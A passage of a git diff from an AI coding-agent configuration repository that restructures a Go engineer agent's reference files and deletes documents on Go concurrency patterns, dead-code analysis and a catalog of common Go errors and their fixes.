`goleak: found unexpected goroutines` | Test started goroutines that outlived the test | Pass `t.Context()` to all goroutines; add `goleak.VerifyNone(t)` | -| `flag provided but not defined: -test.fuzz` | Running fuzz on Go < 1.18 | Upgrade Go; fuzz requires 1.18+ | -| `testing: test ended with leaked goroutines` | Same as goleak above | Add `t.Cleanup(cancel)` pattern | - ---- - -## Detection Commands Reference - -```bash -# Missing t.Parallel() in subtests -grep -A5 't.Run(' --include="*_test.go" -rn . | grep -B5 'func(t' | grep -v 'Parallel' - -# Using os.TempDir in tests (upgrade to t.TempDir) -grep -rn 'os.TempDir()' --include="*_test.go" - -# context.Background() in tests (upgrade to t.Context()) -grep -rn 'context.Background()' --include="*_test.go" - -# Old benchmark loop (upgrade to b.Loop()) -grep -rn 'for i := 0; i < b.N' --include="*_test.go" - -# Run tests with race detector -go test -race ./... - -# Run with goleak integration (if installed) -go test -v ./... -run TestFoo -``` - ---- - -## See Also - -- `concurrency-patterns.md` — goroutine lifecycle, wg.Go, context cancellation -- `go-patterns.md` — modern Go idioms table with version annotations diff --git a/agents/golang-general-engineer.md b/agents/golang-general-engineer.md index a1fbff10..d071ae64 100644 --- a/agents/golang-general-engineer.md +++ b/agents/golang-general-engineer.md @@ -60,8 +60,6 @@ allowed-tools: You are an **operator** for Go software development, configuring Claude's behavior for idiomatic, production-ready Go code following modern patterns (Go 1.26+). -Full expertise statement, default behaviors, STOP-block checkpoints, and optional behaviors live in [golang-general-engineer/references/expertise.md](golang-general-engineer/references/expertise.md). Load it when scoping Go work. - ## Operator Context This agent operates as an operator for Go software development, configuring Claude's behavior for idiomatic, production-ready Go code following modern patterns (Go 1.26+). @@ -94,18 +92,10 @@ This agent operates as an operator for Go software development, configuring Clau Load these reference files when the task type matches: -| When | Load | -|------|------| -| Full expertise, default behaviors, STOP blocks, optional behaviors | [golang-general-engineer/references/expertise.md](golang-general-engineer/references/expertise.md) | -| gopls MCP tool menu, Read/Edit workflows, fallback guidance | [golang-general-engineer/references/gopls-workflows.md](golang-general-engineer/references/gopls-workflows.md) | -| Modern idiom replacement table, preferred patterns, hard gates, blockers, death loop prevention | [golang-general-engineer/references/patterns-and-gates.md](golang-general-engineer/references/patterns-and-gates.md) | -| Go version features, modern idioms, migration checklist | [golang-general-engineer/references/go-modern-features.md](golang-general-engineer/references/go-modern-features.md) | -| Error catalog (goroutine leak, race condition, nil pointer, context deadline) | [golang-general-engineer/references/go-errors.md](golang-general-engineer/references/go-errors.md) | -| Code smell detection and pattern review | [golang-general-engineer/references/go-preferred-patterns.md](golang-general-engineer/references/go-preferred-patterns.md) | -| Concurrency patterns (worker pools, fan-out/fan-in, pipelines) | [golang-general-engineer/references/go-concurrency.md](golang-general-engineer/references/go-concurrency.md) | -| Testing patterns (table-driven, fuzzing, benchmarks, race detection) | [golang-general-engineer/references/go-testing.md](golang-general-engineer/references/go-testing.md) | -| Security, auth, injection, XSS, CSRF, SSRF, or any vulnerability-related code | [golang-general-engineer/references/go-security.md](golang-general-engineer/references/go-security.md) | -| Dead code analysis, cleanup, unused functions, refactoring prep | [golang-general-engineer/references/go-dead-code-analysis.md](golang-general-engineer/references/go-dead-code-analysis.md) | +| Signal | Load These Files | Why | +|---|---|---| +| go_workspace, go_diagnostics, go_symbol_references, GOMODCACHE, stale binary, stat, deadcode, render-time output, tree-sitter, cleanup, refactoring prep | [go-verification-workflow.md](golang-general-engineer/references/go-verification-workflow.md) | gopls MCP mandatory ordering, library-source verification rule, rebuilt-binary stat check, /tmp reproducer rule, deadcode false-positive fixes, hermes/log-router A/B result | +| interface{}, any, omitzero, omitempty, wg.Go, b.Loop, t.Context, errors.AsType, new(val), SplitSeq, go.mod version, undefined: | [go-version-idioms.md](golang-general-engineer/references/go-version-idioms.md) | Go 1.18–1.26 idiom replacement table, hard gates with fixes, error-message-to-version map | **Shared Patterns**: - [shared-patterns/forbidden-patterns-template.md](../skills/shared-patterns/forbidden-patterns-template.md) — Hard-gate framework @@ -130,7 +120,7 @@ Apply minimum-viable edits because over-engineering beyond the request is the mo **Gate**: `go_diagnostics` returns zero errors for edited files. ### Phase 4: VERIFY -Run `gofmt -w` on every edited file because unformatted Go code fails CI before any logic review runs. Run `go test ./...` and paste the actual output because summarising "tests pass" without evidence is the dominant rationalisation that ships broken code. For cleanup, review, or refactoring tasks, run `deadcode ./...` after `go vet` to find unreachable functions — see [go-dead-code-analysis.md](golang-general-engineer/references/go-dead-code-analysis.md) for usage and false-positive guidance. +Run `gofmt -w` on every edited file because unformatted Go code fails CI before any logic review runs. Run `go test ./...` and paste the actual output because summarising "tests pass" without evidence is the dominant rationalisation that ships broken code. For cleanup, review, or refactoring tasks, run `deadcode ./...` after `go vet` to find unreachable functions — see [go-verification-workflow.md](golang-general-engineer/references/go-verification-workflow.md) for usage and false-positive guidance. **Render-time fixes require render-time verification.** Bugs that manifest at output-render time (table layout, template output, log formatting) are not caught by compile + `go test`. To verify, build a small standalone reproducer under `/tmp` with realistic fake data and run it; compare before/after output byte-for-byte. Use the module cache, not vendor pollution. No backend creds needed. @@ -145,12 +135,8 @@ Report exit status with real command output. No "should work" — either the gat ## Preferred Patterns -See `agents/golang-general-engineer/references/patterns-and-gates.md` for the full preferred-patterns catalog (modern idiom replacements, hard gates, blockers, death-loop prevention). - -See `agents/golang-general-engineer/references/go-preferred-patterns.md` for pattern examples with detection commands. +See `agents/golang-general-engineer/references/go-version-idioms.md` for the modern idiom replacement table, hard gates with fixes, and the error-message-to-version map. ## Error Handling -See `agents/golang-general-engineer/references/go-errors.md` for the error catalog (goroutine leak, race condition, nil pointer, context deadline) with diagnostic commands and fix templates. - -See `agents/golang-general-engineer/references/gopls-workflows.md` for error-recovery workflows when gopls calls fail. +Standard Go failure modes (goroutine leaks, races, nil pointers, context deadlines) are base-model knowledge — diagnose with `go vet`, `-race`, and `go_diagnostics`. Verification workflows and gopls fallback guidance live in `agents/golang-general-engineer/references/go-verification-workflow.md`. diff --git a/agents/golang-general-engineer/references/expertise.md b/agents/golang-general-engineer/references/expertise.md deleted file mode 100644 index b929b354..00000000 --- a/agents/golang-general-engineer/references/expertise.md +++ /dev/null @@ -1,65 +0,0 @@ -# Golang General Engineer Expertise - -Full expertise statement, default behaviors, and STOP-block checkpoints. Loaded on demand; the agent body holds the operator identity and hardcoded behaviors. - -## Deep Expertise - -You have deep expertise in: -- **Modern Go Development**: Go 1.26+ features (iterators iter.Seq/Seq2, `wg.Go()`, `new(val)`, `errors.AsType[T]`, `t.Context()`, `b.Loop()`, `omitzero`, `strings.SplitSeq`) -- **Architecture Patterns**: Interface design, dependency injection, functional options, clean architecture, domain-driven design, hexagonal architecture -- **Concurrency**: Goroutines, channels, sync primitives, context propagation, worker pools, fan-out/fan-in, rate limiting, pipeline patterns -- **Testing Excellence**: Table-driven tests, test helpers, testify/assert, fuzzing, benchmarking, race detection, test fixtures -- **Performance**: Profiling (cpu/mem/block/mutex), optimization techniques, memory management, zero-allocation patterns, string interning -- **Production Readiness**: Error handling with wrapping, structured logging, observability (metrics/traces), graceful shutdown, configuration management -- **gopls MCP Integration**: Workspace detection, symbol search, file context, package API inspection, diagnostics, vulnerability checking - -You follow modern Go best practices: -- Always use `any` instead of `interface{}` (Go 1.18+) -- Use iterators (`iter.Seq`, `iter.Seq2`) for custom collections (Go 1.23+) -- Use `slices.Values`, `slices.All`, `slices.Backward` for iteration (Go 1.23+) -- Use `maps.Keys`, `maps.Values`, `maps.All` for map iteration (Go 1.23+) -- Prefer `strings.SplitSeq` for allocation-free iteration (Go 1.24+) -- Use `b.Loop()` in benchmarks instead of manual N loop (Go 1.24+) -- Use `t.Context()` in tests instead of manual context creation (Go 1.24+) -- Use `wg.Go()` instead of manual Add/Done goroutine spawning (Go 1.25+) -- Use `new(val)` for pointer creation instead of variable+address (Go 1.26+) -- Use `errors.AsType[T]()` instead of `errors.As()` with pointer (Go 1.26+) -- Use `strings.Cut` for two-part string splitting -- Implement proper error wrapping with `fmt.Errorf("context: %w", err)` -- Design small, focused interfaces (Interface Segregation Principle) -- Write table-driven tests with clear test names -- Ensure thread-safety with proper sync primitives -- Use context.Context as first parameter for blocking/timeout operations - -When reviewing code, you prioritize: -1. Correctness and edge case handling -2. Robust error handling with proper context wrapping -3. Resource safety and concurrency correctness (race conditions, deadlocks) -4. Clean architecture and SOLID principles -5. Performance (string processing, regex caching, zero-allocation patterns) -6. Modern Go features (iterators, generics, latest stdlib) -7. Clear documentation and code readability -8. Testing coverage and quality (race detection, fuzzing) - -You provide practical, implementation-ready solutions that follow Go idioms and community standards. You explain technical decisions clearly and suggest improvements that enhance maintainability, performance, and reliability. - -## Default Behaviors (ON unless disabled) -- **Run tests before completion**: Execute `go test -v -race ./...` after code changes, show full output. -- **Run static analysis**: Execute `go vet ./...` and `staticcheck ./...` if available. -- **Add documentation comments**: Include godoc-style comments on all exported functions, types, and packages. -- **Use context.Context**: First parameter for functions that may block, timeout, or cancel. -- **Prefer stdlib**: Use standard library over external dependencies when possible. - -## Verification STOP Blocks -These checkpoints are mandatory. Do not skip them even when confident. - -- **After writing code**: STOP. Run `go test -v -race ./...` and show the output. Code that has not been tested is an assumption, not a fact. -- **After claiming a fix**: STOP. Verify the fix addresses the root cause, not just the symptom. Re-read the original error and confirm it cannot recur. -- **After completing the task**: STOP. Run `go vet ./...` and `go build ./...` before reporting completion. A clean build is the minimum bar. -- **Before editing a file**: Read the file first. Blind edits cause regressions. Use `go_file_context` if gopls MCP is available. -- **Before committing**: Do not commit to main. Create a feature branch. Main branch commits affect everyone. - -## Optional Behaviors (OFF unless enabled) -- **Aggressive refactoring**: Major structural changes beyond the immediate task. -- **Add external dependencies**: Introducing new third-party packages without explicit request. -- **Performance optimization**: Micro-optimizations before profiling confirms bottleneck. diff --git a/agents/golang-general-engineer/references/go-concurrency.md b/agents/golang-general-engineer/references/go-concurrency.md deleted file mode 100644 index 67f19d77..00000000 --- a/agents/golang-general-engineer/references/go-concurrency.md +++ /dev/null @@ -1,324 +0,0 @@ -# Go Concurrency Patterns - -> Reference file for golang-general-engineer agent. Loaded as context during Go development tasks. - -## Worker Pool (with generics) - -Distributes work across a fixed number of goroutines. Use when you have many independent tasks and want to bound resource usage. - -```go -func WorkerPool[T any, R any](ctx context.Context, workers int, tasks []T, fn func(context.Context, T) (R, error)) ([]R, error) { - var ( - taskCh = make(chan T) - resultCh = make(chan R, len(tasks)) - g, gctx = errgroup.WithContext(ctx) - ) - - // Fan out: launch workers - for range workers { - g.Go(func() error { - for task := range taskCh { - result, err := fn(gctx, task) - if err != nil { - return err - } - resultCh <- result - } - return nil - }) - } - - // Feed tasks - go func() { - defer close(taskCh) - for _, t := range tasks { - select { - case <-gctx.Done(): - return - case taskCh <- t: - } - } - }() - - // Wait for all workers, then close results - err := g.Wait() - close(resultCh) - if err != nil { - return nil, err - } - - results := make([]R, 0, len(tasks)) - for r := range resultCh { - results = append(results, r) - } - return results, nil -} -``` - -## Fan-out/Fan-in with errgroup - -Launch multiple concurrent operations and collect results. `errgroup` cancels remaining work if any task fails. - -```go -func fetchAll(ctx context.Context, urls []string) ([]Response, error) { - g, gctx := errgroup.WithContext(ctx) - responses := make([]Response, len(urls)) - - for i, url := range urls { - g.Go(func() error { - resp, err := fetchURL(gctx, url) - if err != nil { - return fmt.Errorf("fetch %s: %w", url, err) - } - responses[i] = resp // safe: each goroutine writes to its own index - return nil - }) - } - - if err := g.Wait(); err != nil { - return nil, err - } - return responses, nil -} -``` - -Use `errgroup.SetLimit(n)` to cap the number of concurrent goroutines. - -## Context Propagation Rules - -Contexts flow down the call chain. Never store contexts in structs; pass them as the first argument. - -```go -// RULE 1: context is always the first parameter -func ProcessOrder(ctx context.Context, order Order) error { ... } - -// RULE 2: derive child contexts, never replace parent -func handler(ctx context.Context) error { - ctx, cancel := context.WithTimeout(ctx, 5*time.Second) - defer cancel() // always defer cancel to release resources - return doWork(ctx) -} - -// RULE 3: check ctx.Err() in long loops -func processItems(ctx context.Context, items []Item) error { - for _, item := range items { - if err := ctx.Err(); err != nil { - return fmt.Errorf("processing interrupted: %w", err) - } - if err := process(ctx, item); err != nil { - return err - } - } - return nil -} - -// RULE 4: use context.WithCancelCause for richer cancellation (Go 1.20+) -ctx, cancel := context.WithCancelCause(parentCtx) -cancel(fmt.Errorf("user requested shutdown")) -// later: -cause := context.Cause(ctx) // "user requested shutdown" -``` - -## Channel Ownership - -The goroutine that creates a channel should close it. Receivers should never close channels. - -```go -// GOOD: producer creates, writes, and closes -func produce(ctx context.Context) <-chan Event { - ch := make(chan Event) - go func() { - defer close(ch) // producer closes - for { - event, err := pollEvent(ctx) - if err != nil { - return - } - select { - case <-ctx.Done(): - return - case ch <- event: - } - } - }() - return ch // return receive-only channel -} - -// Consumer reads until channel is closed -func consume(events <-chan Event) { - for event := range events { - handle(event) - } -} -``` - -## sync.Once for Lazy Initialization - -Initialize expensive resources exactly once, safe for concurrent access. - -```go -type Client struct { - initOnce sync.Once - conn *grpc.ClientConn - connErr error -} - -func (c *Client) getConn() (*grpc.ClientConn, error) { - c.initOnce.Do(func() { - c.conn, c.connErr = grpc.Dial("server:443", - grpc.WithTransportCredentials(credentials.NewTLS(nil)), - ) - }) - return c.conn, c.connErr -} -``` - -For simple values, prefer `sync.OnceValue` (Go 1.21+): -```go -var loadConfig = sync.OnceValue(func() *Config { - cfg, err := readConfigFile() - if err != nil { - slog.Error("failed to load config", "err", err) - return &Config{} // return default - } - return cfg -}) - -// Usage: cfg := loadConfig() -``` - -## Rate Limiting with time.Ticker - -Control the rate of operations (API calls, message sends, etc.). - -```go -func rateLimitedProcess(ctx context.Context, items []Item, rps int) error { - ticker := time.NewTicker(time.Second / time.Duration(rps)) - defer ticker.Stop() - - for _, item := range items { - select { - case <-ctx.Done(): - return ctx.Err() - case <-ticker.C: - if err := process(ctx, item); err != nil { - return fmt.Errorf("process item %s: %w", item.ID, err) - } - } - } - return nil -} -``` - -For bursty traffic, use a buffered semaphore channel: -```go -func boundedProcess(ctx context.Context, items []Item, maxConcurrent int) error { - sem := make(chan struct{}, maxConcurrent) - g, gctx := errgroup.WithContext(ctx) - - for _, item := range items { - sem <- struct{}{} // acquire - g.Go(func() error { - defer func() { <-sem }() // release - return process(gctx, item) - }) - } - return g.Wait() -} -``` - -## Mutex Scope Minimization - -Hold locks for the shortest time possible. Never do I/O while holding a lock. - -```go -// BAD: lock held during network call -func (s *Service) Update(id string) error { - s.mu.Lock() - defer s.mu.Unlock() - data := s.cache[id] - result, err := s.client.Fetch(data.URL) // network I/O under lock! - if err != nil { - return err - } - s.cache[id] = result - return nil -} - -// GOOD: minimize lock scope -func (s *Service) Update(id string) error { - s.mu.RLock() - data := s.cache[id] - s.mu.RUnlock() - - result, err := s.client.Fetch(data.URL) // no lock held during I/O - - s.mu.Lock() - s.cache[id] = result - s.mu.Unlock() - return err -} -``` - -## Select with Default (Non-blocking) - -Use `select` with a `default` case to attempt a channel operation without blocking. - -```go -// Non-blocking send: drop the event if the channel is full -func tryNotify(ch chan<- Event, event Event) bool { - select { - case ch <- event: - return true - default: - return false // channel full, event dropped - } -} - -// Non-blocking receive: check if work is available -func tryReceive(ch <-chan Task) (Task, bool) { - select { - case task := <-ch: - return task, true - default: - return Task{}, false - } -} - -// Timeout pattern: wait, but not forever -func receiveWithTimeout(ch <-chan Result, timeout time.Duration) (Result, error) { - select { - case r := <-ch: - return r, nil - case <-time.After(timeout): - return Result{}, fmt.Errorf("receive timed out after %v", timeout) - } -} -``` - -## Pipeline Pattern - -Chain stages where each stage is a goroutine reading from one channel and writing to another. - -```go -func pipeline(ctx context.Context, input <-chan int) <-chan string { - doubled := stage(ctx, input, func(n int) int { return n * 2 }) - formatted := stage(ctx, doubled, func(n int) string { return fmt.Sprintf("value: %d", n) }) - return formatted -} - -func stage[In, Out any](ctx context.Context, in <-chan In, fn func(In) Out) <-chan Out { - out := make(chan Out) - go func() { - defer close(out) - for v := range in { - select { - case <-ctx.Done(): - return - case out <- fn(v): - } - } - }() - return out -} -``` diff --git a/agents/golang-general-engineer/references/go-dead-code-analysis.md b/agents/golang-general-engineer/references/go-dead-code-analysis.md deleted file mode 100644 index 4300de60..00000000 --- a/agents/golang-general-engineer/references/go-dead-code-analysis.md +++ /dev/null @@ -1,77 +0,0 @@ -# Go Dead Code Analysis - -Tool and decision guidance for dead code detection in Go codebases. Load when the task involves finding unused functions, cleanup, or refactoring prep. - -## deadcode — Primary Tool for Dead Code Detection - -`golang.org/x/tools/cmd/deadcode` is the official Go team tool for finding unreachable functions. It uses SSA (Static Single Assignment) whole-program analysis with Rapid Type Analysis to resolve interface dispatch, method values, and reflection — none of which syntax-level tools can handle. - -### Install and Run - -```bash -go install golang.org/x/tools/cmd/deadcode@latest - -# Text output — one line per unreachable function -deadcode ./... - -# Structured output — machine-parseable JSON -deadcode -json ./... - -# Filter to a specific package -deadcode ./internal/processor/... -``` - -### What It Catches - -- **Unexported unreachable functions**: functions not reachable from any `main` package entry point through the whole-program call graph. -- **Exported functions with no callers**: exported functions that no `main` package entry point reaches. These are candidates for removal or unexport. - -### Why SSA Beats Syntax Analysis - -Syntax-level tools (grep, tree-sitter, gopls references) find textual call sites. They cannot resolve: - -- **Interface dispatch**: `handler.Process(x)` calls whichever concrete type implements `Handler` — the actual target depends on runtime types, not source text. -- **Method values**: `f := obj.Method; f()` — the call to `Method` happens through the variable `f`, invisible to syntax search. -- **Reflection**: `reflect.ValueOf(x).MethodByName("Foo").Call(...)` — no syntax tool can resolve this. - -deadcode's SSA analysis builds the complete call graph including these edges. A function that appears unused by grep may be reachable through an interface. A function that appears used by grep may actually be dead — the call site itself is unreachable. - -### Known False Positives - -**Test helpers**: deadcode analyzes reachability from `main` package entry points. Functions called only from `_test.go` files are not reachable from `main` — they are reachable from test binaries, which deadcode does not analyze. This is expected behavior, not a bug. When deadcode flags a function that is clearly a test helper (e.g., `setupTestDB`, `assertResponse`), verify by checking test file usage before removing: - -```bash -# Confirm the function is used in tests before dismissing the finding -grep -rn "setupTestDB" --include="*_test.go" - -# To include test binary entry points in the analysis -deadcode -test ./... -``` - -**Exported API surface**: Libraries expose exported functions for external consumers. deadcode cannot see callers outside the module. For library code, focus deadcode findings on unexported functions. - -### Integration with VERIFY Phase - -Run deadcode after `go vet` during Phase 4 (VERIFY) when the task involves: - -- Dead code audits or cleanup tasks -- Code review where unused functions are a concern -- Refactoring prep — identifying what is safe to remove -- Post-migration cleanup after removing a feature or dependency - -deadcode is not mandatory for every task. It adds value when the question is "what can I safely delete?" — not when the question is "does this build and pass tests?" - -```bash -# VERIFY phase sequence for cleanup tasks -go vet ./... -deadcode ./... -go test ./... -``` - -## Why Not Tree-Sitter for Go? - -Tree-sitter parses syntax, not semantics. It cannot resolve interface dispatch, method values, or reflection. In Go codebases that use interfaces (which is most of them), syntax-level call graph tools produce false positives: functions called through interfaces appear to have zero callers because the call site references the interface method, not the concrete implementation. - -A/B tested across 5 tests on 2 repos (hermes, log-router): tree-sitter call graph added no measurable value over grep + file reading for dead code detection, code audits, PR reviews, or impact analysis. `deadcode` + `gopls` + grep cover all Go use cases with equal or better results. - -For **impact analysis** ("what calls this function?"), use `gopls` MCP's `go_symbol_references` tool or grep. Both outperformed tree-sitter call graphs in blind testing. diff --git a/agents/golang-general-engineer/references/go-errors.md b/agents/golang-general-engineer/references/go-errors.md deleted file mode 100644 index 77d34943..00000000 --- a/agents/golang-general-engineer/references/go-errors.md +++ /dev/null @@ -1,589 +0,0 @@ -# Go General Engineer - Error Catalog - -Common Go errors and their solutions. - -## Goroutine Leak - -**Symptoms**: -- Increasing goroutine count in production -- Memory usage grows over time -- Application becomes slow - -**Cause**: -- Goroutines never exit -- Context not canceled -- Channels not closed -- Blocking operations with no timeout - -**Solution**: -```go -// BAD - Goroutine leaks -func leakyWorker() { - go func() { - for { - work() // No way to exit! - } - }() -} - -// GOOD - Use context for cancellation -func worker(ctx context.Context) { - go func() { - for { - select { - case <-ctx.Done(): - return // Exit when context canceled - default: - work() - } - } - }() -} - -// GOOD - Use channel for signaling -func worker(stop <-chan struct{}) { - go func() { - for { - select { - case <-stop: - return - default: - work() - } - } - }() -} - -// GOOD - Use sync.WaitGroup to track completion -func processItems(items []Item) { - var wg sync.WaitGroup - for _, item := range items { - wg.Add(1) - go func(i Item) { - defer wg.Done() - process(i) - }(item) - } - wg.Wait() // Wait for all to complete -} -``` - -**Prevention**: -- Always provide exit mechanism for goroutines -- Use context.WithCancel/WithTimeout -- Track goroutines with sync.WaitGroup -- Close channels when done producing -- Check goroutine count: `runtime.NumGoroutine()` - ---- - -## Race Condition - -**Symptoms**: -- Inconsistent results -- Panics in production -- `go test -race` reports DATA RACE -- Flaky tests - -**Cause**: -- Concurrent access to shared memory without synchronization -- Multiple goroutines writing to same variable -- Reading while another goroutine writes - -**Solution**: -```go -// BAD - Race condition -type Counter struct { - count int -} - -func (c *Counter) Increment() { - c.count++ // RACE! -} - -// GOOD - Use mutex -type Counter struct { - mu sync.Mutex - count int -} - -func (c *Counter) Increment() { - c.mu.Lock() - defer c.mu.Unlock() - c.count++ -} - -// OR use atomic operations -type Counter struct { - count atomic.Int64 -} - -func (c *Counter) Increment() { - c.count.Add(1) -} - -// OR use channels (message passing) -type Counter struct { - ops chan func(*int) -} - -func NewCounter() *Counter { - c := &Counter{ops: make(chan func(*int))} - go func() { - var count int - for op := range c.ops { - op(&count) - } - }() - return c -} - -func (c *Counter) Increment() { - c.ops <- func(count *int) { *count++ } -} -``` - -**Detection**: -```bash -# Always run tests with race detector -go test -race ./... - -# Run specific test -go test -race -run TestConcurrent - -# Build with race detector for manual testing -go build -race -``` - -**Prevention**: -- Run `go test -race` in CI -- Use mutexes for shared state -- Prefer message passing (channels) over shared memory -- Use atomic operations for simple counters -- Design for concurrency from the start - ---- - -## Panic on Nil Pointer - -**Symptoms**: -- `panic: runtime error: invalid memory address or nil pointer dereference` -- Crash in production - -**Cause**: -- Calling method on nil pointer -- Accessing field of nil struct pointer -- Writing to nil map - -**Solution**: -```go -// BAD - No nil check -func process(user *User) { - fmt.Println(user.Name) // Panics if user is nil -} - -// GOOD - Check for nil -func process(user *User) error { - if user == nil { - return fmt.Errorf("user cannot be nil") - } - fmt.Println(user.Name) - return nil -} - -// BAD - Nil map write -var m map[string]int -m["key"] = 1 // Panic! - -// GOOD - Initialize map -m := make(map[string]int) -m["key"] = 1 - -// GOOD - Nil-safe map access (read) -value, ok := m["key"] // ok == false if m is nil - -// BAD - Nil pointer method call -var user *User -user.Save() // Panics - -// GOOD - Nil receiver check in method -func (u *User) Save() error { - if u == nil { - return fmt.Errorf("cannot save nil user") - } - // ... save logic - return nil -} -``` - -**Prevention**: -- Always initialize maps with `make()` -- Validate pointer parameters in functions -- Add nil checks in constructors -- Use pointer receivers only when necessary -- Return zero values instead of nil when possible - ---- - -## Interface Conversion Panic - -**Symptoms**: -- `panic: interface conversion: interface is nil, not Type` -- `panic: interface conversion: interface is Type1, not Type2` - -**Cause**: -- Type assertion on nil interface -- Type assertion to wrong type -- Not checking assertion success - -**Solution**: -```go -// BAD - Panic if wrong type -func process(v any) { - s := v.(string) // Panics if v is not string or is nil - fmt.Println(s) -} - -// GOOD - Two-value assertion -func process(v any) error { - s, ok := v.(string) - if !ok { - return fmt.Errorf("expected string, got %T", v) - } - fmt.Println(s) - return nil -} - -// GOOD - Type switch for multiple types -func process(v any) { - switch x := v.(type) { - case string: - fmt.Println("String:", x) - case int: - fmt.Println("Int:", x) - case nil: - fmt.Println("Nil value") - default: - fmt.Println("Unknown type:", x) - } -} -``` - -**Prevention**: -- Always use two-value type assertion: `v, ok := x.(Type)` -- Use type switch for multiple possibilities -- Check for nil before type assertion -- Consider using concrete types instead of any/interface{} - ---- - -## Context Deadline Exceeded - -**Symptoms**: -- `context deadline exceeded` error -- Requests timing out -- Operations cancelled - -**Cause**: -- Operation took longer than context deadline/timeout -- Context not propagated to blocking calls -- Tight deadline for slow operation - -**Solution**: -```go -// Check if context is done in loops -func process(ctx context.Context, items []Item) error { - for _, item := range items { - select { - case <-ctx.Done(): - return ctx.Err() // Return immediately - default: - } - - if err := processItem(ctx, item); err != nil { - return err - } - } - return nil -} - -// Increase timeout if operation is legitimately slow -ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) -defer cancel() - -// For long-running operations, use context.WithCancel -ctx, cancel := context.WithCancel(context.Background()) -defer cancel() - -// Propagate context to all blocking calls -func fetchData(ctx context.Context) (Data, error) { - req, err := http.NewRequestWithContext(ctx, "GET", url, nil) - if err != nil { - return Data{}, err - } - - resp, err := client.Do(req) - if err != nil { - return Data{}, err - } - defer resp.Body.Close() - - // ... parse response -} -``` - -**Prevention**: -- Always propagate context to blocking operations -- Check `ctx.Done()` in long-running loops -- Use `context.WithTimeout` for time-bound operations -- Set realistic timeout values -- Test timeout scenarios - ---- - -## Error Wrapping Without %w - -**Symptoms**: -- `errors.Is()` and `errors.As()` don't work -- Cannot unwrap error chain -- Lost error context - -**Cause**: -- Using `%v` or string concatenation instead of `%w` -- Not wrapping errors properly - -**Solution**: -```go -// BAD - Error not wrapped -if err != nil { - return fmt.Errorf("failed to save: %v", err) // Error chain broken! -} - -// GOOD - Wrap with %w -if err != nil { - return fmt.Errorf("failed to save: %w", err) -} - -// Now errors.Is works -if errors.Is(err, ErrNotFound) { - // Handle not found -} - -// And errors.As works -var validationErr *ValidationError -if errors.As(err, &validationErr) { - // Handle validation error -} -``` - -**Prevention**: -- Always use `%w` when wrapping errors -- Add context to wrapped errors -- Use `errors.Is()` to check for specific errors -- Use `errors.As()` to extract error details -- Return errors unwrapped when callers should not match them with errors.Is - ---- - -## Mutex Deadlock - -**Symptoms**: -- Application hangs -- Goroutines stuck in Lock() -- `fatal error: all goroutines are asleep - deadlock!` - -**Cause**: -- Lock not released -- Recursive lock attempt on non-recursive mutex -- Lock ordering inconsistency - -**Solution**: -```go -// BAD - Lock not released -func (s *Service) update() { - s.mu.Lock() - if condition { - return // BUG: Lock not released! - } - s.mu.Unlock() -} - -// GOOD - Use defer -func (s *Service) update() { - s.mu.Lock() - defer s.mu.Unlock() - - if condition { - return // Lock released by defer - } - // More code... -} - -// BAD - Recursive lock -func (s *Service) outer() { - s.mu.Lock() - defer s.mu.Unlock() - s.inner() // Deadlock! -} - -func (s *Service) inner() { - s.mu.Lock() // Tries to lock again - defer s.mu.Unlock() - // ... -} - -// GOOD - Separate public and internal methods -func (s *Service) Outer() { - s.mu.Lock() - defer s.mu.Unlock() - s.innerLocked() -} - -func (s *Service) innerLocked() { - // Assumes lock is held -} - -// BAD - Inconsistent lock ordering -func transfer(from, to *Account, amount int) { - from.mu.Lock() // Thread A locks account 1 - to.mu.Lock() // Thread B locks account 2 - // If Thread A wants account 2 and Thread B wants account 1: DEADLOCK -} - -// GOOD - Consistent lock ordering -func transfer(from, to *Account, amount int) { - // Always lock in consistent order (e.g., by ID) - if from.ID < to.ID { - from.mu.Lock() - defer from.mu.Unlock() - to.mu.Lock() - defer to.mu.Unlock() - } else { - to.mu.Lock() - defer to.mu.Unlock() - from.mu.Lock() - defer from.mu.Unlock() - } - - from.Balance -= amount - to.Balance += amount -} -``` - -**Prevention**: -- Always use `defer` to unlock -- Keep lock acquisition non-recursive; recursive locking creates deadlock risk -- Establish consistent lock ordering -- Use RWMutex for read-heavy workloads -- Consider channels instead of mutexes -- Test with `-race` flag - ---- - -## Channel Deadlock - -**Symptoms**: -- `fatal error: all goroutines are asleep - deadlock!` -- Send/receive operations block forever - -**Cause**: -- Sending on unbuffered channel with no receiver -- Receiving on empty channel with no sender -- Channel not closed, range waits forever - -**Solution**: -```go -// BAD - Deadlock on send -ch := make(chan int) -ch <- 1 // Blocks forever, no receiver! - -// GOOD - Send in goroutine -ch := make(chan int) -go func() { - ch <- 1 -}() -result := <-ch - -// BAD - Range never exits -ch := make(chan int) -go func() { - ch <- 1 - // Forgot to close! -}() - -for val := range ch { // Waits forever - fmt.Println(val) -} - -// GOOD - Close channel when done -ch := make(chan int) -go func() { - ch <- 1 - close(ch) // Signal no more values -}() - -for val := range ch { - fmt.Println(val) -} - -// GOOD - Use buffered channel for send-and-forget -ch := make(chan int, 1) // Buffer size 1 -ch <- 1 // Doesn't block -``` - -**Prevention**: -- Close channels when done producing -- Use buffered channels when appropriate -- Ensure sender and receiver are coordinated -- Use select with timeout/default for non-blocking ops -- Test channel code carefully - ---- - -## Import Cycle - -**Symptoms**: -- `import cycle not allowed` -- Compilation fails - -**Cause**: -- Package A imports package B -- Package B imports package A -- Circular dependency in package structure - -**Solution**: -```go -// BAD - Circular dependency -// package models -import "services" - -// package services -import "models" // Import cycle! - -// GOOD - Extract shared types -// package types -type User struct { ... } - -// package models -import "types" - -// package services -import "types" -import "models" // No cycle - -// OR - Use interfaces to break dependency -// package services -type UserRepository interface { - Get(id int) (*User, error) -} - -// package models -// Implements services.UserRepository but doesn't import services -``` - -**Prevention**: -- Design package structure carefully -- Extract shared types to common package -- Use interfaces to decouple packages -- Keep package dependencies one-directional; bidirectional dependencies create import cycles -- Draw package dependency graph diff --git a/agents/golang-general-engineer/references/go-modern-features.md b/agents/golang-general-engineer/references/go-modern-features.md deleted file mode 100644 index 63d264b4..00000000 --- a/agents/golang-general-engineer/references/go-modern-features.md +++ /dev/null @@ -1,438 +0,0 @@ -# Modern Go Features by Version - -> Reference file for golang-general-engineer agent. Loaded as context during Go development tasks. - -## Pre-Generics Era (Go 1.0 - 1.17) - -Key idioms introduced before generics that remain essential: - -| Feature | Idiom | Since | -|---------|-------|-------| -| `time.Since` | `time.Since(start)` not `time.Now().Sub(start)` | 1.0 | -| `time.Until` | `time.Until(deadline)` not `deadline.Sub(time.Now())` 